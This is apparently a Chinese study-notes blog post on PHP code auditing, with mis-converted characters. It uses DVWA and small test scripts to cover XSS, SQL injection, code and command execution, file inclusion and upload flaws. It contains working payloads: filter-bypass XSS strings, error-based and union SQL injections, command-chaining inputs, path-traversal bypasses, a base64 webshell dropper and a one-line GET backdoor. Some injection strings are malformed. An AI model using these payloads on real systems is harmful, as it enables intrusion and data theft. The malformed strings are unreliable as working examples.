前言javascript
最近在看php代碼審計,學習下代碼審計,看了很多師傅的博客,寫的很好,下面很多是借鑑師傅們的,好記性不如爛筆頭,記下,之後能夠方便查看。php
代碼審計--準備html
1,先放一張大圖,php代碼審計的幾個方向,也是容易出問題的地方,沒事的時候能夠多看看。前端
2,代碼審計也就是拿到某網站的源碼,進行審計,從而發現漏洞,可是咱們審計的時候並不必定要一行一行的去看吧,這樣未免也太浪費時間了,因此咱們須要工具進行幫助咱們。當屬 "Seay源代碼審計系統2.1" 優先選擇(靜態分析,關鍵字查找定位代碼不錯,可是誤報很高)。java
咱們在作代碼審計的時候,我的建議先要把審計的某CMS隨便點點,先熟悉一下功能。代碼審計前先進行黑盒測試是個不錯的選擇,知道哪裏有問題,而後再去找出問題的代碼。python
要關注變量和函數,mysql
代碼審計--漏洞react
一,漏洞類型linux
1.sql注入web
反射型xss審計的時候基本的思路都同樣,經過尋找可控沒有過濾(或者能夠繞過)的參數,經過echo等輸出函數直接輸出。尋找的通常思路就是尋找輸出函數,再去根據函數尋找變量。通常的輸出函數有這些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。
測試代碼以下:
<?php
echo $_GET['xssf'];
?>
http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>
分析以下:首先看下源碼
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
這裏咱們能夠清楚的看到 if 裏面的php函數array_key_exists
,如今不懂不要緊,百度一下你就知道。
array_key_exists(key,array)
key | 必需。規定鍵名。 |
array | 必需。規定數組。 |
array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,若是鍵名存在則返回 true,若是鍵名不存在則返回 false。
輸入的值也就是GET獲得的值是以數組的形式,而後判斷GET獲得的name是否是空,若是知足 if 語句,這裏就會進行 if 括號裏面的,echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 咱們能夠清楚的看到,這裏直接輸出傳的name參數,並無任何的過濾與檢查,存在明顯的XSS漏洞。
這裏咱們能夠再進行分析一下medium中等難度下的代碼
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
能夠看到有一點上low的代碼是不同的,那就是進行了一次過濾,
用的str_replace()函數,這個函數的功能是:以其餘字符替換字符串中的一些字符(區分大小寫)。
這裏的做用是替換<script>,也就是把<script>替換成空格,而後再進行輸出。
這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防禦機制是能夠被輕鬆繞過的。
雙寫繞過:輸入<sc<script>ript>alert(/xss/)</script>,成功彈框。
大小寫混淆繞過:輸入<ScRipt>alert(/xss/)</script>,成功彈框。這裏就不截圖了。
High等級也是基於黑名單思想,進行過濾。可是咱們能夠經過其餘標籤來進行XSS。
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
代碼如上,這裏就不一一分析了。
【存儲型】
存儲型xss審計和反射型xss審計時候思路差很少,不過存儲型xss會在數據庫「中轉」一下,主要審計sql語句update ,insert更新和插入。
進行白盒審計前,咱們先進行下黑盒測試
輸入name的時候發現,name輸不了那麼多了,這是咱們能夠右鍵審查元素,能夠看到限制長度爲10了,其實說這句話,只是想提醒一下像我這樣的小白,審查元素也是一門"學問"
name出隨便輸入,message處輸入:<script>alert(/orange/)</script>,能夠看到會彈出框框
這是看下源碼,咱們分析下
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
能夠看到接收POST過來的參數,trim()函數是移除字符串兩側的空白字符或其餘預約義字符。
這裏先進行過濾一下,把咱們輸入字符串兩側的空白字符和其餘預約義字符給過濾掉。預約義字符包括:\t,\n,\x0B,\r以及空格。
$message = stripslashes( $message );
而後stripslashes()函數:刪除反斜槓
而後message參數再通過mysql_real_escape_string()函數進行轉義。
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
下列字符受影響:
若是成功,則該函數返回被轉義的字符串。若是失敗,則返回 false。
最後給插入數據庫。這個時候咱們去數據庫看一下,以下圖,能夠看到xss代碼已經插入數據庫了,這也就是存儲型XSS與反射性XSS的區別。
由於咱們在前端看到的都是經由數據庫傳過來的數據,因此會彈出框框。
這裏我最後總結一下,順便再分析一下。
我輸入的值是:<script>alert(/orange/)</script>,首先上面的trim()函數過濾空格和預約義字符,這裏對輸入的值是沒有影響的,因此$messsge仍是<script>alert(/orange/)</script>,而後stripslashes()函數刪除反斜槓,因爲輸入的message沒有反斜槓,因此無效。$message仍是
<script>alert(/orange/)</script>,最後用mysql_real_escape_string()函數進行轉義,上面能夠清楚的看到這個函數對什麼字符有影響,可是沒有對$message有影響,因此這時的$_message仍是
<script>alert(/orange/)</script>這個時候就把$message傳入數據庫,也就是上圖數據庫中的數據。前端讀取的數據的時候是從數據庫中讀取,所以把$message讀出來,從而形成了存儲型XSS漏洞。
還有medium,high,這裏就不作分析了,這裏解決XSS漏洞的方法就是用htmlspecialchars函數進行編碼。可是要注意的是,若是htmlspecialchars函數使用不當,
攻擊者就能夠經過編碼的方式繞過函數進行XSS注入,尤爲是DOM型的XSS。說的DOM型XSS,下面就是啦。
【DOM】
這個DVWA裏面沒有這種,這裏仍是咱們本身動手豐衣足食吧。
基於DOM的跨站腳本XSS:經過訪問document.URL 或者document.location執行一些客戶端邏輯的javascript代碼。不依賴發送給服務器的數據。
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。
注意:
1. 惡意程序腳本在任什麼時候候不會嵌入處處於天然狀態下的HTML頁面(這和其餘種類的xss不太同樣)。
2.這個攻擊只有在瀏覽器沒有修改URL字符時起做用。 當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化爲%3C 和 %3E),所以在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,所以他很容易受到攻擊。
這裏能夠看到個人瀏覽器自動轉換了字符<>,因此沒有彈出框,這裏咱們知道原理就好,IE6下沒有轉換<和>,因此是能夠彈框框的。
SQL注入漏洞
sql注入是咱們審計比較重視的漏洞之一
SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。SQL注入的產生緣由:①不當的類型處理;②不安全的數據庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字符處理不合適;⑥多個提交處理不當。
首先說一下普通的注入審計,能夠經過$_GET,$_POST等傳參追蹤數據庫操做,也能夠經過select , delete , update,insert 數據庫操做語句反追蹤傳參。
如今的通常的CMS都注意到了SQL注入的嚴重性,因此他們對於注入都進行了必定的過濾,通常他們會用到兩種過濾方法。
01.對於數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就尷尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#
下面介紹下常見的SQL注入類型,最後再用DVWA進行分析。
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
一、經過floor報錯,注入語句以下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
二、經過ExtractValue報錯,注入語句以下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
三、經過UpdateXml報錯,注入語句以下:
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
四、經過NAME_CONST報錯,注入語句以下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
五、經過join報錯,注入語句以下:
select * from(select * from mysql.user ajoin mysql.user b)c;
六、經過exp報錯,注入語句以下:
and exp(~(select * from (select user () ) a) );
七、經過GeometryCollection()報錯,注入語句以下:
and GeometryCollection(()select *from(select user () )a)b );
八、經過polygon ()報錯,注入語句以下:
and polygon (()select * from(select user ())a)b );
九、經過multipoint ()報錯,注入語句以下:
and multipoint (()select * from(select user() )a)b );
十、經過multlinestring ()報錯,注入語句以下:
and multlinestring (()select * from(selectuser () )a)b );
十一、經過multpolygon ()報錯,注入語句以下:
and multpolygon (()select * from(selectuser () )a)b );
十二、經過linestring ()報錯,注入語句以下:
and linestring (()select * from(select user() )a)b );
DVWA分析
SQL Injection
選擇Low級別,便於審計分析。首先咱們黑盒測試一下,咱們輸入:
1‘or ’1‘=’1這個時候就能夠判斷出存在字符型注入。
1' or 1=1 order by 2 # ,1' or 1=1 order by 3 #,這個時候就能夠判斷2個字段。下面的就不進行注入爆庫了。
這個時候看下源碼分析一下。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
能夠看到,接收到submit傳過來的值,id沒有進行任何的檢查與過濾,存在明顯的SQL注入。
選擇medium級別
代碼以下
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
能夠看到對接收到的參數id 只是用函數mysql_real_escape_string()轉義了一下。
下列字符受影響:
並且前端頁面設置了下拉選擇表單,但願以此來控制用戶的輸入。不過沒多大用處,咱們依然能夠經過抓包改參數,提交惡意構造的查詢參數。
抓包更改參數id爲1 or 1=1 #,查詢成功,說明存在數字型注入。(因爲是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,由於數字型注入並不須要藉助引號。),因此咱們仍是能夠進行注入。
選擇high級別
代碼分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。
雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。這樣的就又能夠進行注入了。
SQL Injection(Blind),即SQL盲注
與通常注入的區別在於,通常的注入攻擊者能夠直接從頁面上看到注入語句的執行結果,而盲注時攻擊者一般是沒法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,所以盲注的難度要比通常注入高。目前網絡上現存的SQL注入漏洞大可能是SQL盲注。
代碼分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
能夠看到,Low級別的代碼對參數id沒有作任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種
User ID exists in the database.
User ID is MISSING from the database.
所以這裏是SQL盲注漏洞。
輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注。這裏僅做判斷存在SQL注入,不進一步攻擊。
選擇medium級別
代碼分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
能夠看到對接收到的參數id 只是用函數mysql_real_escape_string()轉義了一下。
下列字符受影響:
並且前端頁面設置了下拉選擇表單,但願以此來控制用戶的輸入。不過沒多大用處,咱們依然能夠經過抓包改參數,提交惡意構造的查詢參數。
抓包更改參數輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注,查詢成功,說明存在注入。
high級別
代碼分析
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
能夠看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。
雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。但因爲服務器端執行sleep函數,會使得基於時間盲注的準確性受到影響,但仍然是能夠注入的。
代碼執行審計
代碼執行審計和sql漏洞審計很類似,sql注入是想sql語句注入在數據庫中,代碼執行是將可執行代碼注入到webservice 。這些容易致使代碼執行的函數有如下這些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()須要/e參數。
代碼執行注入就是 在php裏面有些函數中輸入的字符串參數會當作PHP代碼執行。
Eval函數在PHP手冊裏面的意思是:將輸入的字符串編程PHP代碼
1,先寫個簡單的代碼測試一下(很俗套的代碼)
<?php
if(isset($_GET['orange']))
{
$orange=$_GET['orange'];
eval("\$orange=$orange");
}
//PHP 代碼審計代碼執行
?>
直接接收orange參數,payload:?orange=phpinfo();
下面圖能夠看到成功執行。
2,再看一個,測試代碼以下
<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
echo $regexp = $_GET['orange'];
$String = '<php>phpinfo()</php>';
var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>
能夠看到代碼有正則preg_replace(),因此如今須要/e參數,才能進行代碼執行。
正則表達式過濾後是phpinfo(),正則表達式的意思是將String中含reg的字符串的樣式去除。因此如今咱們能夠構造payload:?orange=<\/php>/e ,如今解釋一下爲何,preg_replace(),/<php>(.*?)$regexp,接收的參數構形成正則表達式/<php>(.*?)<\/php>/e,將$String也就是<php>phpinfo()</php>過濾成phpinfo(),這樣就能夠成功執行了。
3,參數注入,測試代碼以下
<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
echo $regexp = $_GET['orange'];
//$String = '<php>phpinfo()</php>';
//var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
preg_replace("/orange/e",$regexp,"i am orange");
}
?>
分析和上面差很少。
直接構造payload就好:?orange=phpinfo();
4,動態函數執行----一個超級隱蔽的後門
測試代碼
<?php $_GET[a]($_GET[b]);?>
僅用GET函數就構成了木馬;利用方法payload:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
運行上述payload,會在同目錄下生成c.php文件,裏面的內容是<?php @eval($_POST[c]); ?>1,生成一句話木馬。
命令執行審計
代碼執行說的是可執行的php腳本代碼,命令執行就是能夠執行系統命令(cmd)或者是應用指令(bash),這個漏洞也是由於傳參過濾不嚴格致使的,
通常咱們說的php可執行命令的函數有這些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();
反引號也是能夠執行的,由於他調用了shell_exec這個函數。
1,測試代碼:
<?php
$orange=$_GET['orange'];
system($orange);
?>
直接GET傳參,而後system()----執行shell命令也就是向dos發送一條指令
payload:?orange=net user 查看一下電腦的用戶。
2,再演示一個popen()函數
測試代碼:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>
只要php文件運行,就會在上述路徑生成1234.txt文件,裏面的內容是net user的結果。
3,反引號命令執行
測試代碼:
<?php
echo `net user`;
?>
直接echo ,直接就能夠執行命令
DVWA分析
選擇low級別,先進行一下黑盒測試。
輸入8.8.8.8&&net user,能夠看到成功執行兩條命令
下面分析一下,相關函數介紹
stristr(string,search,before_search)
stristr函數搜索字符串在另外一字符串中的第一次出現,返回字符串的剩餘部分(從匹配點),若是未找到所搜索的字符串,則返回 FALSE。參數string規定被搜索的字符串,參數search規定要搜索的字符串(若是該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符),可選參數before_true爲布爾型,默認爲「false」 ,若是設置爲 「true」,函數將返回 search 參數第一次出現以前的字符串部分。
php_uname(mode)
這個函數會返回運行php的操做系統的相關描述,參數mode可取值」a」 (此爲默認,包含序列」s n r v m」裏的全部模式),」s 」(返回操做系統名稱),」n」(返回主機名),」 r」(返回版本名稱),」v」(返回版本信息), 」m」(返回機器類型)。
命令鏈接符
command1 && command2 先執行command1後執行command2
command1 | command2 只執行command2
command1 & command2 先執行command2後執行command1
以上三種鏈接符在windows和linux環境下都支持
若是程序沒有進行過濾,那麼咱們就能夠經過鏈接符執行多條系統命令。
能夠看到,服務器經過判斷操做系統執行不一樣ping命令,可是對ip參數並未作任何的過濾,致使了嚴重的命令注入漏洞。
看下代碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
上面代碼能夠清楚的看到,對輸入的命令沒有過濾,直接進行參數的傳遞。能夠經過用「&&」和「;」來執行額外的命令 ping 8.8.8.8&&net user
選擇medium級別,先進行黑盒測試,
發現輸入:8.8.8.8&&net user,不能夠用,這個時候能夠去掉一個,輸入:8.8.8.8&net user,是能夠」成功「的。
可是這裏須要注意的是」&&」與」 &」的區別:
Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,不然不執行Command 2
Command 1&Command 2
先執行Command 1,無論是否成功,都會執行Command 2
這個時候咱們看下代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Low級別的代碼,服務器端對ip參數作了必定過濾,即把」&&」 ,」;」刪除,本質上採用的是黑名單機制,所以依舊存在安全問題。
這個時候就能夠開始利用了
***由於被過濾的只有」&&」與」 ;」,因此」&」不會受影響。因此能夠輸入:8.8.8.8&net user
***因爲使用的是str_replace把」&&」,」;」替換爲空字符,所以能夠採用如下方式繞過: 8.8.8.8;&net user
這是由於」8.8.8.8&;&net user」中的」 ;」會被替換爲空字符,這樣一來就變成了」8.8.8.8&;&net user」 ,會成功執行。
選擇high級別,先進行黑盒測試,結果發現,好多都被過濾掉了,不要緊,看下代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Medium級別的代碼,High級別的代碼進一步完善了黑名單,但因爲黑名單機制的侷限性,咱們依然能夠繞過。
漏洞利用
Command 1 | Command 2
「|」是管道符,表示將Command 1的輸出做爲Command 2的輸入,而且只打印Command 2執行的結果。
黑名單看似過濾了全部的非法字符,但仔細觀察到是把」| 」(注意這裏|後有一個空格)替換爲空字符,因而 」|」 就有用了。
輸入:8.8.8.8|net user
下圖成功執行。
文件包含審計
PHP的文件包含能夠直接執行包含文件的代碼,包含的文件格式是不受限制的,只要能正常執行便可。
文件包含有這麼兩種:本地包含(LFI)和遠程包含(RFI)。,顧名思義就能理解它們的區別在哪。
審計的時候函數都是同樣的,這個四個包含函數: include() ; include_once() ; require();require_once().include 和 require 語句是相同的,除了錯誤處理方面:require 會生成致命錯誤(E_COMPILE_ERROR)並中止腳本,include 只生成警告(E_WARNING),而且腳本會繼續。
先說一下本地包含,本地包含就指的是隻能包含本機文件的漏洞,通常要配合上傳,或者是已控的數據庫來進行使用。
先寫個簡單的代碼測試一下。
在www目錄下新建兩個php文件,baohan1.php,baohan2.php
baohan2.php代碼
<?php
phpinfo();
?>
baohan1.php
<?php
include("baohan2.php");
?>
打開baohan1.php,能夠看到成功執行baohan2.php的代碼,成功把banhan2.php給包含了
這個時候稍微修改下代碼。把baohan1.php的:include("baohan2.php");改爲include("baohan2.txt");
把baohan2.php改爲baohan2.txt。再次訪問baihan1.php,能夠看到成功包含,
接下來將baohan2.txt文件的擴展名分別改成jpg、rar、doc、xxx進行測試,發現均可以正確顯示phpinfo信息。由此可知,只要文件內容符合PHP語法規範,那麼任何擴展名均可以被PHP解析。
再來看一下遠程文件包含
當服務器的php配置中選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會容許包含遠程服務器上的文件。若是對文件來源沒有檢查的話,就容易致使任意遠程代碼執行。
allow_url_include在默認狀況下是關閉的,若是想要實驗測試的話,能夠去打開,可是真實環境中建議關閉。
DVWA分析
先選擇low級別,先進行黑盒測試一下,進行包含,看到file1,file2,file3,試下file4,由於file.php存在,結果包含到了,而且提示you are rigjt。
這個時候能夠進一步操做,可使用../讓目錄回到上級目錄,以此來進行目標目錄(經過多個../可讓目錄回到根目錄中而後再進入目標目錄),
試一下吧,?page=../../php.ini ,除了這麼多還有其餘的操做等待你去挖掘。
如今分析一下代碼<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
能夠看到直接接收page參數,沒有進行任何過濾操做,因此形成文件包含漏洞。
下面選擇medium,先看下代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
增長了str_replace()函數,把傳入的url裏面的http,https,../,..\ 替換成空格,可是使用str_replace函數是不安全的,由於可使用雙寫繞過替換規則
好比:http和https能夠用hthttp://tp:給繞過,由於只是過濾了../和..\,因此能夠用絕對路徑進行繞過:?page=./..././..././../php.ini
選擇high級別,看下代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
使用了fnmatch函數:fnmatch() 函數根據指定的模式來匹配文件名或字符串。
檢查page參數,要求page參數的開頭必須是file開頭,服務器纔回去包含,可是咱們能夠利用file協議繞過防禦策略,而後再進行包含
payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini
最後看一下impossiable級別的代碼
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
能夠看到代碼很簡潔,page參數只能是"include.php",
"file1.php",
"file2.php",
"file3.php"
不然直接exit。完全不能文件包含了。
最後的最後再分享個文件包含的滲透小技巧
***讀取敏感文件是文件包含漏洞的主要利用方式之一,好比服務器採用Linux系統,而用戶又具備相應的權限,那麼就能夠利用文件包含漏洞去讀取/etc/passwd文件的內容。
系統中常見的敏感信息路徑以下:windows系統
linux系統
***文件包含漏洞的主要利用方式是配合文件上傳。好比大多數網站都會提供文件上傳功能,但通常只容許上傳jpg或gif等圖片文件,經過配合文件包含漏洞就能夠在網站中生成一句話木馬網頁文件。
好比,在記事本中寫入下面這段代碼,並將之保存成jpg文件。
<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>
能夠成功進行包含,而且獲得了一個orange.php一句話木馬文件,密碼是orange。進而進行下一步攻擊。
文件上傳審計
其實我的認爲文件上傳黑盒測試的時候姿式特別多,白盒測試的時候除了明顯的限制上傳文件的類型外,白盒審計不如黑盒測試來的"刺激"。
文件上傳應該是最經常使用的漏洞了,上傳函數就那一個 move_uploaded_file();通常來講找這個漏洞就是直接ctrl+f 直接開搜。遇到沒有過濾的直接傳個一句話的webshell上去。
上傳的漏洞比較多,Apache配置,iis解析漏洞等等。在php中通常都是黑白名單過濾,或者是文件頭,content-type等等。通常來找上傳的過濾函數進行分析就行。
(1) 未過濾或本地過濾:服務器端未過濾,直接上傳PHP格式的文件便可利用。
(2) 黑名單擴展名過濾:限制不夠全面:IIS默認支持解析.asp,.cdx, .asa,.cer等。不被容許的文件格式.php,可是咱們能夠上傳文件名爲1.php (注意後面有一個空格)
(3) 文件頭 content-type驗證繞過:getimagesize()函數:驗證文件頭只要爲GIF89a,就會返回真。限制$_FILES["file"]["type"]的值 就是人爲限制content-type爲可控變量。
(4)過濾不嚴或被繞過:好比大小寫問題,網站只驗證是不是小寫,咱們就能夠把後綴名改爲大寫。
(5)文件解析漏洞:好比 Windows 系統會涉及到這種狀況:文件名爲1.php;.jpg
,IIS 6.0 可能會認爲它是jpg
文件,可是執行的時候會以php
文件來執行。咱們就能夠利用這個解析漏洞來上傳。再好比 Linux 中有一些未知的後綴,好比a.php.xxx
。因爲 Linux 不認識這個後綴名,它就可能放行了,攻擊者再執行這個文件,網站就有可能被控制。
(6)路徑截斷:就是在上傳的文件中使用一些特殊的符號,使文件在上傳時被截斷。好比a.php%00.jpg
,這樣在網站中驗證的時候,會認爲後綴是jpg
,可是保存到硬盤的時候會被截斷爲a.php
,這樣就是直接的php
文件了。經常使用來截斷路徑的字符是:\0 , ? , %00 , 也能夠超長的文件路徑形成截斷。
(4)等等等等,之後慢慢補充
